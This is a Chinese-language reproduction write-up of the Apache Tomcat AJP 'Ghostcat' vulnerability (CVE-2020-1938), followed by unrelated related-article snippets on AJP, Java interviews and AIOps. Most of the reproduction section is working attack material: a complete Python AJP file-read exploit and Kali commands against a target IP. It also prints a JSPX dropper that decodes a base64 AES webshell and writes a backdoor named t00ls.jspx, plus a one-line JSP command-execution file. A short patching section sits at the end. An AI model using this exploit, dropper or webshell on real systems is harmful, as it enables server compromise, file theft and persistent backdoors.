CVE-2020-1938 :Apache Tomcat AJP 漏洞复现和分析

article/2025/8/30 4:05:40

一、漏洞描述

Apache Tomcat是由Apache软件基金会属下Jakarta项目开发的Servlet容器.默认情况下,Apache Tomcat会开启AJP连接器,方便与其他Web服务器通过AJP协议进行交互.但Apache Tomcat在AJP协议的实现上存在漏洞,导致攻击者可以通过发送恶意的AJP请求,可以读取或者包含Web应用根目录下的任意文件,如果配合文件上传任意格式文件,将可能导致任意代码执行(RCE).该漏洞利用AJP服务端口实现攻击,未开启AJP服务对外不受漏洞影响(tomcat默认将AJP服务开启并绑定至0.0.0.0/0).

二、危险等级

高危

三、漏洞危害

攻击者可以读取 Tomcat所有 webapp目录下的任意文件。此外如果网站应用提供文件上传的功能,攻击者可以先向服务端上传一个内容含有恶意 JSP 脚本代码的文件(上传的文件本身可以是任意类型的文件,比如图片、纯文本文件等),然后利用 Ghostcat 漏洞进行文件包含,从而达到代码执行的危害

四、影响范围

Apache Tomcat 9.x < 9.0.31

Apache Tomcat 8.x < 8.5.51

Apache Tomcat 7.x < 7.0.100

Apache Tomcat 6.x

五、前提条件

对于处在漏洞影响版本范围内的 Tomcat 而言,若其开启 AJP Connector 且攻击者能够访问 AJP Connector 服务端口的情况下,即存在被 Ghostcat 漏洞利用的风险。注意 Tomcat AJP Connector 默认配置下即为开启状态,且监听在 0.0.0.0:8009 。

六、漏洞原理

Tomcat 配置了两个Connecto,它们分别是 HTTP 和 AJP :HTTP默认端口为8080,处理http请求,而AJP默认端口8009,用于处理 AJP 协议的请求,而AJP比http更加优化,多用于反向、集群等,漏洞由于Tomcat AJP协议存在缺陷而导致,攻击者利用该漏洞可通过构造特定参数,读取服务器webapp下的任意文件以及可以包含任意文件,如果有某上传点,上传图片马等等,即可以获取shel

七、漏洞分析

1.漏洞成因分析:

tomcat默认的conf/server.xml中配置了2个Connector,一个为8080的对外提供的HTTP协议端口,另外一个就是默认的8009 AJP协议端口,两个端口默认均监听在外网ip。

如下图:

tomcat在接收ajp请求的时候调用org.apache.coyote.ajp.AjpProcessor来处理ajp消息,prepareRequest将ajp里面的内容取出来设置成request对象的Attribute属性

如下图:

因此可以通过此种特性从而可以控制request对象的下面三个Attribute属性

javax.servlet.include.request_uri

javax.servlet.include.path_info

javax.servlet.include.servlet_path

然后封装成对应的request之后,继续走servlet的映射流程如下图所示:

其中具体的映射方式就简略了,具体可以自己查看代码.

2.利用方式:
(1)、利用DefaultServlet实现任意文件下载

当url请求未在映射的url列表里面则会通过tomcat默认的DefaultServlet会根据上面的三个属性来读取文件,如下图

通过serveResource方法来获取资源文件

通过getRelativePath来获取资源文件路径

然后再通过控制ajp控制的上述三个属性来读取文件,通过操控上述三个属性从而可以读取到/WEB-INF下面的所有敏感文件,不限于class、xml、jar等文件。

(2)、通过jspservlet实现任意后缀文件包含

当url(比如http://xxx/xxx/xxx.jsp)请求映射在org.apache.jasper.servlet.JspServlet这个servlet的时候也可通过上述三个属性来控制访问的jsp文件如下图:

控制路径之后就可以以jsp解析该文件 所以只需要一个可控文件内容的文件即可实现rce.

八、漏洞复现

1.环境的准备

(1).windows下漏洞复现环境准备,这里以tomcat-8.5.32为例。

https://github.com/backlion/CVE-2020-1938/blob/master/apache-tomcat-8.5.32.zip

(2)、安装jdk并配置JDK环境

(3)、然后启动tomcat,点击tomcat目录/bin 文件夹下的startup.bat

2.漏洞复现利用
(1)、任意文件读取(这里可以读取webapps目录下的任何文件)
root@kali2019:~# git clone https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi
root@kali2019:~# cd CNVD-2020-10487-Tomcat-Ajp-lfi/
root@kali2019:~/CNVD-2020-10487-Tomcat-Ajp-lfi# chmod +x CNVD-2020-10487-Tomcat-Ajp-lfi.py 
root@kali2019:~/CNVD-2020-10487-Tomcat-Ajp-lfi# python CNVD-2020-10487-Tomcat-Ajp-lfi.py 192.168.1.9 -p 8009 -f WEB-INF/web.xml
root@kali2019:~/CNVD-2020-10487-Tomcat-Ajp-lfi# python CNVD-2020-10487-Tomcat-Ajp-lfi.py 192.168.1.9 -p 8009 -f index.jsp
root@kali2019:~/CNVD-2020-10487-Tomcat-Ajp-lfi# python CNVD-2020-10487-Tomcat-Ajp-lfi.py 192.168.1.9 -p 8009 -f test.txt
2.任意文件包含:(这个有点鸡肋,需要上传要包含的文件内容)
(1)、先上传需要包含的JSP文件代码,这里是冰蝎小马(test.txt)
下面是将test.txt文件上传到ROOT目录下(这里为了漏洞演示,我直接将文件上传到该目录下,在实际的环境中,可以通过文件上传漏洞,上传txt文件结合利用漏洞)
test.txt文件内容:
<jsp:root xmlns:jsp="http://java.sun.com/JSP/Page" xmlns="http://www.w3.org/1999/xhtml" xmlns:c="http://java.sun.com/jsp/jstl/core" version="2.0">
<jsp:directive.page contentType="text/html" pageEncoding="utf-8"/>
<jsp:directive.page import="java.io.*"/>
<jsp:directive.page import="sun.misc.BASE64Decoder"/>
<html><head><title>fuck</title></head>
<body bgcolor="#ffffff">
//mima:pass
<jsp:scriptlet><![CDATA[
String realPath = request.getRealPath(request.getRequestURI());
String dir=new File(realPath).getParent();
String strPath = dir+"/t00ls.jspx";
File strFile = new File(strPath);
boolean fileCreated = strFile.createNewFile();
Writer jspx = new BufferedWriter(new FileWriter(strFile));
String tmp ="PGpzcDpyb290IHhtbG5zOmpzcD0iaHR0cDovL2phdmEuc3VuLmNvbS9KU1AvUGFnZSIgdmVyc2lvbj0iMS4yIj48anNwOmRpcmVjdGl2ZS5wYWdlIGltcG9ydD0iamF2YS51dGlsLiosamF2YXguY3J5cHRvLiosamF2YXguY3J5cHRvLnNwZWMuKiIvPjxqc3A6ZGVjbGFyYXRpb24+IGNsYXNzIFUgZXh0ZW5kcyBDbGFzc0xvYWRlcntVKENsYXNzTG9hZGVyIGMpe3N1cGVyKGMpO31wdWJsaWMgQ2xhc3MgZyhieXRlIFtdYil7cmV0dXJuIHN1cGVyLmRlZmluZUNsYXNzKGIsMCxiLmxlbmd0aCk7fX08L2pzcDpkZWNsYXJhdGlvbj48anNwOnNjcmlwdGxldD5pZihyZXF1ZXN0LmdldFBhcmFtZXRlcigicGFzcyIpIT1udWxsKXtTdHJpbmcgaz0oIiIlMmJVVUlELnJhbmRvbVVVSUQoKSkucmVwbGFjZSgiLSIsIiIpLnN1YnN0cmluZygxNik7c2Vzc2lvbi5wdXRWYWx1ZSgidSIsayk7b3V0LnByaW50KGspO3JldHVybjt9Q2lwaGVyIGM9Q2lwaGVyLmdldEluc3RhbmNlKCJBRVMiKTtjLmluaXQoMixuZXcgU2VjcmV0S2V5U3BlYygoc2Vzc2lvbi5nZXRWYWx1ZSgidSIpJTJiIiIpLmdldEJ5dGVzKCksIkFFUyIpKTtuZXcgVSh0aGlzLmdldENsYXNzKCkuZ2V0Q2xhc3NMb2FkZXIoKSkuZyhjLmRvRmluYWwobmV3IHN1bi5taXNjLkJBU0U2NERlY29kZXIoKS5kZWNvZGVCdWZmZXIocmVxdWVzdC5nZXRSZWFkZXIoKS5yZWFkTGluZSgpKSkpLm5ld0luc3RhbmNlKCkuZXF1YWxzKHBhZ2VDb250ZXh0KTs8L2pzcDpzY3JpcHRsZXQ+PC9qc3A6cm9vdD4="; 
String str = new String((new BASE64Decoder()).decodeBuffer(tmp));
String eStr = java.net.URLDecoder.decode(str);
jspx.write(eStr);
jspx.flush();
jspx.close();
out.println(strPath);
]]></jsp:scriptlet>
</body>
</html>
</jsp:root>
(2)、测试可以直接访问test.txt
http://192.168.1.9:8080/test.txt
(3)、需要对poc进行修改,将包含"/asdf "修改为"/asdf.jspx"
https://github.com/backlion/CNVD-2020-10487-Tomcat-Ajp-lfi/blob/master/CNVD-2020-10487-Tomcat-Ajp-lfi.py
其修改后的代码如下:
#!/usr/bin/env python
#CNVD-2020-10487 Tomcat-Ajp lfi
#by ydhcui
import struct# Some references:
# https://tomcat.apache.org/connectors-doc/ajp/ajpv13a.html
def pack_string(s):if s is None:return struct.pack(">h", -1)l = len(s)return struct.pack(">H%dsb" % l, l, s.encode('utf8'), 0)
def unpack(stream, fmt):size = struct.calcsize(fmt)buf = stream.read(size)return struct.unpack(fmt, buf)
def unpack_string(stream):size, = unpack(stream, ">h")if size == -1: # null stringreturn Noneres, = unpack(stream, "%ds" % size)stream.read(1) # \0return res
class NotFoundException(Exception):pass
class AjpBodyRequest(object):# server == web server, container == servletSERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2)MAX_REQUEST_LENGTH = 8186def __init__(self, data_stream, data_len, data_direction=None):self.data_stream = data_streamself.data_len = data_lenself.data_direction = data_directiondef serialize(self):data = self.data_stream.read(AjpBodyRequest.MAX_REQUEST_LENGTH)if len(data) == 0:return struct.pack(">bbH", 0x12, 0x34, 0x00)else:res = struct.pack(">H", len(data))res += dataif self.data_direction == AjpBodyRequest.SERVER_TO_CONTAINER:header = struct.pack(">bbH", 0x12, 0x34, len(res))else:header = struct.pack(">bbH", 0x41, 0x42, len(res))return header + resdef send_and_receive(self, socket, stream):while True:data = self.serialize()socket.send(data)r = AjpResponse.receive(stream)while r.prefix_code != AjpResponse.GET_BODY_CHUNK and r.prefix_code != AjpResponse.SEND_HEADERS:r = AjpResponse.receive(stream)if r.prefix_code == AjpResponse.SEND_HEADERS or len(data) == 4:break
class AjpForwardRequest(object):_, OPTIONS, GET, HEAD, POST, PUT, DELETE, TRACE, PROPFIND, PROPPATCH, MKCOL, COPY, MOVE, LOCK, UNLOCK, ACL, REPORT, VERSION_CONTROL, CHECKIN, CHECKOUT, UNCHECKOUT, SEARCH, MKWORKSPACE, UPDATE, LABEL, MERGE, BASELINE_CONTROL, MKACTIVITY = range(28)REQUEST_METHODS = {'GET': GET, 'POST': POST, 'HEAD': HEAD, 'OPTIONS': OPTIONS, 'PUT': PUT, 'DELETE': DELETE, 'TRACE': TRACE}# server == web server, container == servletSERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2)COMMON_HEADERS = ["SC_REQ_ACCEPT","SC_REQ_ACCEPT_CHARSET", "SC_REQ_ACCEPT_ENCODING", "SC_REQ_ACCEPT_LANGUAGE", "SC_REQ_AUTHORIZATION","SC_REQ_CONNECTION", "SC_REQ_CONTENT_TYPE", "SC_REQ_CONTENT_LENGTH", "SC_REQ_COOKIE", "SC_REQ_COOKIE2","SC_REQ_HOST", "SC_REQ_PRAGMA", "SC_REQ_REFERER", "SC_REQ_USER_AGENT"]ATTRIBUTES = ["context", "servlet_path", "remote_user", "auth_type", "query_string", "route", "ssl_cert", "ssl_cipher", "ssl_session", "req_attribute", "ssl_key_size", "secret", "stored_method"]def __init__(self, data_direction=None):self.prefix_code = 0x02self.method = Noneself.protocol = Noneself.req_uri = Noneself.remote_addr = Noneself.remote_host = Noneself.server_name = Noneself.server_port = Noneself.is_ssl = Noneself.num_headers = Noneself.request_headers = Noneself.attributes = Noneself.data_direction = data_directiondef pack_headers(self):self.num_headers = len(self.request_headers)res = ""res = struct.pack(">h", self.num_headers)for h_name in self.request_headers:if h_name.startswith("SC_REQ"):code = AjpForwardRequest.COMMON_HEADERS.index(h_name) + 1res += struct.pack("BB", 0xA0, code)else:res += pack_string(h_name)res += pack_string(self.request_headers[h_name])return resdef pack_attributes(self):res = b""for attr in self.attributes:a_name = attr['name']code = AjpForwardRequest.ATTRIBUTES.index(a_name) + 1res += struct.pack("b", code)if a_name == "req_attribute":aa_name, a_value = attr['value']res += pack_string(aa_name)res += pack_string(a_value)else:res += pack_string(attr['value'])res += struct.pack("B", 0xFF)return resdef serialize(self):res = ""res = struct.pack("bb", self.prefix_code, self.method)res += pack_string(self.protocol)res += pack_string(self.req_uri)res += pack_string(self.remote_addr)res += pack_string(self.remote_host)res += pack_string(self.server_name)res += struct.pack(">h", self.server_port)res += struct.pack("?", self.is_ssl)res += self.pack_headers()res += self.pack_attributes()if self.data_direction == AjpForwardRequest.SERVER_TO_CONTAINER:header = struct.pack(">bbh", 0x12, 0x34, len(res))else:header = struct.pack(">bbh", 0x41, 0x42, len(res))return header + resdef parse(self, raw_packet):stream = StringIO(raw_packet)self.magic1, self.magic2, data_len = unpack(stream, "bbH")self.prefix_code, self.method = unpack(stream, "bb")self.protocol = unpack_string(stream)self.req_uri = unpack_string(stream)self.remote_addr = unpack_string(stream)self.remote_host = unpack_string(stream)self.server_name = unpack_string(stream)self.server_port = unpack(stream, ">h")self.is_ssl = unpack(stream, "?")self.num_headers, = unpack(stream, ">H")self.request_headers = {}for i in range(self.num_headers):code, = unpack(stream, ">H")if code > 0xA000:h_name = AjpForwardRequest.COMMON_HEADERS[code - 0xA001]else:h_name = unpack(stream, "%ds" % code)stream.read(1) # \0h_value = unpack_string(stream)self.request_headers[h_name] = h_valuedef send_and_receive(self, socket, stream, save_cookies=False):res = []i = socket.sendall(self.serialize())if self.method == AjpForwardRequest.POST:return resr = AjpResponse.receive(stream)assert r.prefix_code == AjpResponse.SEND_HEADERSres.append(r)if save_cookies and 'Set-Cookie' in r.response_headers:self.headers['SC_REQ_COOKIE'] = r.response_headers['Set-Cookie']# read body chunks and end response packetswhile True:r = AjpResponse.receive(stream)res.append(r)if r.prefix_code == AjpResponse.END_RESPONSE:breakelif r.prefix_code == AjpResponse.SEND_BODY_CHUNK:continueelse:raise NotImplementedErrorbreakreturn resclass AjpResponse(object):_,_,_,SEND_BODY_CHUNK, SEND_HEADERS, END_RESPONSE, GET_BODY_CHUNK = range(7)COMMON_SEND_HEADERS = ["Content-Type", "Content-Language", "Content-Length", "Date", "Last-Modified","Location", "Set-Cookie", "Set-Cookie2", "Servlet-Engine", "Status", "WWW-Authenticate"]def parse(self, stream):# read headersself.magic, self.data_length, self.prefix_code = unpack(stream, ">HHb")if self.prefix_code == AjpResponse.SEND_HEADERS:self.parse_send_headers(stream)elif self.prefix_code == AjpResponse.SEND_BODY_CHUNK:self.parse_send_body_chunk(stream)elif self.prefix_code == AjpResponse.END_RESPONSE:self.parse_end_response(stream)elif self.prefix_code == AjpResponse.GET_BODY_CHUNK:self.parse_get_body_chunk(stream)else:raise NotImplementedErrordef parse_send_headers(self, stream):self.http_status_code, = unpack(stream, ">H")self.http_status_msg = unpack_string(stream)self.num_headers, = unpack(stream, ">H")self.response_headers = {}for i in range(self.num_headers):code, = unpack(stream, ">H")if code <= 0xA000: # custom headerh_name, = unpack(stream, "%ds" % code)stream.read(1) # \0h_value = unpack_string(stream)else:h_name = AjpResponse.COMMON_SEND_HEADERS[code-0xA001]h_value = unpack_string(stream)self.response_headers[h_name] = h_valuedef parse_send_body_chunk(self, stream):self.data_length, = unpack(stream, ">H")self.data = stream.read(self.data_length+1)def parse_end_response(self, stream):self.reuse, = unpack(stream, "b")def parse_get_body_chunk(self, stream):rlen, = unpack(stream, ">H")return rlen@staticmethoddef receive(stream):r = AjpResponse()r.parse(stream)return rimport socketdef prepare_ajp_forward_request(target_host, req_uri, method=AjpForwardRequest.GET):fr = AjpForwardRequest(AjpForwardRequest.SERVER_TO_CONTAINER)fr.method = methodfr.protocol = "HTTP/1.1"fr.req_uri = req_urifr.remote_addr = target_hostfr.remote_host = Nonefr.server_name = target_hostfr.server_port = 80fr.request_headers = {'SC_REQ_ACCEPT': 'text/html','SC_REQ_CONNECTION': 'keep-alive','SC_REQ_CONTENT_LENGTH': '0','SC_REQ_HOST': target_host,'SC_REQ_USER_AGENT': 'Mozilla','Accept-Encoding': 'gzip, deflate, sdch','Accept-Language': 'en-US,en;q=0.5','Upgrade-Insecure-Requests': '1','Cache-Control': 'max-age=0'}fr.is_ssl = Falsefr.attributes = []return frclass Tomcat(object):def __init__(self, target_host, target_port):self.target_host = target_hostself.target_port = target_portself.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)self.socket.connect((target_host, target_port))self.stream = self.socket.makefile("rb", bufsize=0)def perform_request(self, req_uri, headers={}, method='GET', user=None, password=None, attributes=[]):self.req_uri = req_uriself.forward_request = prepare_ajp_forward_request(self.target_host, self.req_uri, method=AjpForwardRequest.REQUEST_METHODS.get(method))print("Getting resource at ajp13://%s:%d%s" % (self.target_host, self.target_port, req_uri))if user is not None and password is not None:self.forward_request.request_headers['SC_REQ_AUTHORIZATION'] = "Basic " + ("%s:%s" % (user, password)).encode('base64').replace('\n', '')for h in headers:self.forward_request.request_headers[h] = headers[h]for a in attributes:self.forward_request.attributes.append(a)responses = self.forward_request.send_and_receive(self.socket, self.stream)if len(responses) == 0:return None, Nonesnd_hdrs_res = responses[0]data_res = responses[1:-1]if len(data_res) == 0:print("No data in response. Headers:%s\n" % snd_hdrs_res.response_headers)return snd_hdrs_res, data_res'''
javax.servlet.include.request_uri
javax.servlet.include.path_info
javax.servlet.include.servlet_path
'''import argparse
parser = argparse.ArgumentParser()
parser.add_argument("target", type=str, help="Hostname or IP to attack")
parser.add_argument('-p', '--port', type=int, default=8009, help="AJP port to attack (default is 8009)")
parser.add_argument("-f", '--file', type=str, default='WEB-INF/web.xml', help="file path :(WEB-INF/web.xml)")
args = parser.parse_args()
t = Tomcat(args.target, args.port)
_,data = t.perform_request('/asdf.jspx',attributes=[{'name':'req_attribute','value':['javax.servlet.include.request_uri','/']},{'name':'req_attribute','value':['javax.servlet.include.path_info',args.file]},{'name':'req_attribute','value':['javax.servlet.include.servlet_path','/']},])
print('----------------------------')
print("".join([d.data for d in data]))
(4)、输入以下命令可文件包含执行,最终在root目录下生成一个后门文件t00ls.jspx
root@kali2019:/opt# python cve-2020-10487.py 192.168.1.9 -p 8009 -f test.txt

 

3.任意文件包含的另一种方法
(1)、也可以上传一句话命令执行文件exec.txt(里面的系统命令可以根据需要修改)
exec.txt内容如下:
<%out.println(new java.io.BufferedReader(new java.io.InputStreamReader(Runtime.getRuntime().exec("whoami").getInputStream())).readLine());%>
(2)、测试可以正常访问上传的文件
http://192.168.1.9:8080/exec.txt
(3)、然后输入以下命令,可以任意文件包含执行系统命令
root@kali2019:/opt# python3 cve-2020-10487-v1.py 192.168.1.9 -p 8009 -f exec.txt --rce 1

九、漏洞修复建议

Tomcat 官方已发布 9.0.31、8.5.51 及 7.0.100 版本针对此漏洞进行修复。

1、临时禁用AJP协议端口,在conf/server.xml配置文件中注释掉<Connector port="8009" protocol="AJP/1.3"redirectPort="8443" />
2、配置ajp配置中的secretRequired跟secret属性来限制认证
3、官方下载最新版下载地址:
https://tomcat.apache.org/download-70.cgi
https://tomcat.apache.org/download-80.cgi
https://tomcat.apache.org/download-90.cgi
https://github.com/apache/tomcat/releases

十、参考链接

https://github.com/0nise/CVE-2020-1938
https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi
https://github.com/Kit4y/CNVD-2020-10487-Tomcat-Ajp-lfi-Scanner
https://mp.weixin.qq.com/s/NM1E91I6tDwpuGi3H4gATw
https://mp.weixin.qq.com/s/M6CK9Bk7MJI2NSLEiVoBjQ
https://mp.weixin.qq.com/s/GzqLkwlIQi_i3AVIXn59FQ
https://blog.csdn.net/csacs/article/details/104427197

http://chatgpt.dhexx.cn/article/GxftSPB3.shtml

相关文章

网络抓包方式复现Tomcat- AJP协议文件读取/命令执行漏洞(CVE-2020-1938 / CNVD-2020-10487)

目录 测试是否安装成功​编辑 基础简介 Tomcat Connector(连接器) ​编辑Servlet(服务程序) Tomcat内部处理请求流程 文件读取漏洞 抓包复现 需要将下图中抓取到的数据包修改一下 ​编辑 替换成二进制数据的形式&#xff1a; 运行结果 ​编辑 创建脚本文件&#xf…

AJP协议

由于tomcat的html和图片解析功能相对其他服务器如apche等较弱&#xff0c;所以&#xff0c;一般都是集成起来使用&#xff0c;只有jsp和servlet服务交由tomcat处理&#xff0c;而tomcat和其他服务器的集成&#xff0c;就是通过ajp协议来完成的。AJP协议AJP13是定向包协议。因为…

Apache Tomcat AJP协议文件读取与包含

永远也不要忘记能够笑的坚强&#xff0c;就算受伤&#xff0c;我也从不彷徨。 0x01.漏洞情况分析 Tomcat是Apache软件基金会Jakarta 项目中的一个核心项目&#xff0c;作为目前比较流行的Web应用服务器&#xff0c;深受Java爱好者的喜爱&#xff0c;并得到了部分软件开发商的…

Tomcat AJP 文件包含漏洞(CVE-2020-1938)

目录 1&#xff0e;漏洞简介 2、AJP13 协议介绍 Tomcat 主要有两大功能&#xff1a; 3&#xff0e;Tomcat 远程文件包含漏洞分析 4&#xff0e;漏洞复现 5、漏洞分析 6&#xff0e;RCE 实现的原理 1&#xff0e;漏洞简介 2020 年 2 月 20 日&#xff0c;公开CNVD 的漏洞公…

Tomcat HTTP协议与AJP协议

https://blog.csdn.net/jeikerxiao/article/details/82745516 Tomcat HTTP协议与AJP协议 HTTP Connector AJP Connector 配置 Tomcat在server.xml中配置了两种连接器。 HTTP Connector 拥有这个连接器&#xff0c;Tomcat才能成为一个web服务器&#xff0c;但还额外可处理Serv…

Tomcat架构解析之AJP

一、前言 除了HTTP&#xff0c;Tomcat还支持AJP协议&#xff0c;以便于Apache HTTP Server等Web服务器集成&#xff0c;这篇博客主要讲解AJP协议的基础知识以及其配置使用方式。 二、基础知识 为了满足负载均衡、静态资源优化、遗留系统集成&#xff08;如集成PHP Web应用&…

HTTP协议与AJP协议

AJP 全称 Apache JServ Protocol&#xff0c; 是定向包协议&#xff0c;因为性能的原因&#xff0c;使用二进制格式来传输可读性文本&#xff0c;WEB服务器通过TCP连接和SERVLET容器连接。 一旦WEB服务器打开了一个到SERVLET容器的连接&#xff0c;连接处于下面的状态&#xff…

解决Destroying ProtocolHandler [“ajp-apr-8009“]

今天刚开始调JSP网站还好好的&#xff0c;后来中间注销了电脑一次&#xff0c; 再打开调试它&#xff0c;就遇到了这个 无法启动服务器的问题&#xff1a; Destroying ProtocolHandler ["ajp-apr-8009"] 上网百度了下&#xff0c;说是端口号被占用了。 解决办法&…

你知道HTTP协议,但你了解AJP协议吗?

什么是AJP协议&#xff1f; AJP 协议用于web服务器和应用服务器之间的通信&#xff1f;为什么不用HTTP呢&#xff1f; Web服务器和应用服务器有什么区别&#xff1f; AJP协议和HTTP 协议有什么区别&#xff1f; 为什么客户端与服务器之间的通信使用HTTP协议而不是用AJP协议&…

WEB安全:Tomcat-Ajp协议漏洞分析

一、漏洞描述 Apache与Tomcat都是Apache开源组织开发的用于处理HTTP服务的项目,两者都是免费的,都可以做为独立的Web服务器运行。 Apache Tomcat服务器存在文件包含漏洞,攻击者可利用该漏洞读取或包含 Tomcat 上所有 webapp 目录下的任意文件,如:webapp 配置文件或源代码…

ajp 定向包协议 二进制代替文本提高性能 简介

AJP协议是定向包&#xff08;面向包&#xff09;协议&#xff0c;采用二进制形式代替文本形式&#xff0c;以提高性能。Web Server一般维持和Web Container的多个TCP Connecions&#xff0c;即TCP连接池&#xff0c;多个request/respons循环重用同一个Connection。但是当Connec…

Java高级自我介绍

先放个大招&#xff0c;哈哈&#xff0c;相信很多朋友准备了很久技术方面的内功&#xff0c;但是在真正与HR交锋的时候&#xff0c;有时还是败下阵来&#xff0c;究其原因之一&#xff0c;竟然是第一招错了&#xff0c;我自己也是&#xff0c;&#xff0c;所以&#xff0c;周末…

java开发自我介绍范文(合集)

java开发自我介绍范文3篇 java开发自我介绍范文篇一&#xff1a; Good morning ! It is really my honor to have this opportunity for a interview, I hope i can make a good performance today. Im confident that I cansucceed. Now i will introduce myself briefly I am…

Java面试中如何介绍自己的项目经验?

&#x1f447;&#x1f447;关注后回复 “进群” &#xff0c;拉你进程序员交流群&#x1f447;&#x1f447; 作者: hsm_computer 来源: https://www.cnblogs.com/JavaArchitect/p/7586949.html 在面试时&#xff0c;经过寒暄后&#xff0c;一般面试官会让介绍项目经验 。常见…

Java程序员面试时,如何进行自我介绍呢?

现在不管什么面试都会面对的一个环节&#xff0c;就是“自我介绍”。这个环节是很多企业作为选拔人才的一个方式与标准。那么&#xff0c;Java程序员面试自我介绍部分讲什么内容&#xff1f;小千给你详细解答下。 Java程序员自我介绍要有一条清晰的线索&#xff0c;便于组织自…

Java面试自我介绍怎么说?Java面试技巧!

自我介绍可谓是面试中最讨厌的环节了&#xff0c;许多程序员自身技术水平相当不错&#xff0c;但不善于表达&#xff0c;在自我介绍环节往往容易给面试官一个不好的印象。但这又是不可避免的&#xff0c;想要别人知道你是谁&#xff0c;你会什么&#xff0c;你做过什么&#xf…

JAVA面试技巧之自我介绍

【如何进行自我介绍】 自我介绍这个问题&#xff0c;不用多说了&#xff0c;面试必定会问&#xff01;如果想要在自我介绍的时候就能够打动面试官&#xff0c;吸引面试官对我们的兴趣&#xff0c;那么像我们这种接受过Java培训的程序员的自我介绍当然不能和应届生或者其他非技术…

AIOP简介

AIOP&#xff1a;AI for IT Operations

AIOps,让金融智能化运维化繁为简

前言 数字化转型是今天金融企业保持竞争力、拓展业务边界的必经之路。这让企业数据中心运维工作不得不面对海量数据压力的挑战。显然&#xff0c;传统运维方法已经无法满足企业数字化时代的新需求&#xff0c;构建面向未来的智能运维体系成为金融企业转型的关键。 2022年银保…

AIOps产品与架构浅析

【摘要】 本文简要介绍AIOps系统主要组成部分&#xff0c;介绍该系统在企业级IT运维场景下的作用和地位。 我们已经成功地应用了人工智能和机器学习来自动化传统的人工任务和IT操作过程。从异常检测到自动修复&#xff0c;现在将前沿算法融入到易于使用的工具中&#xff0c;允…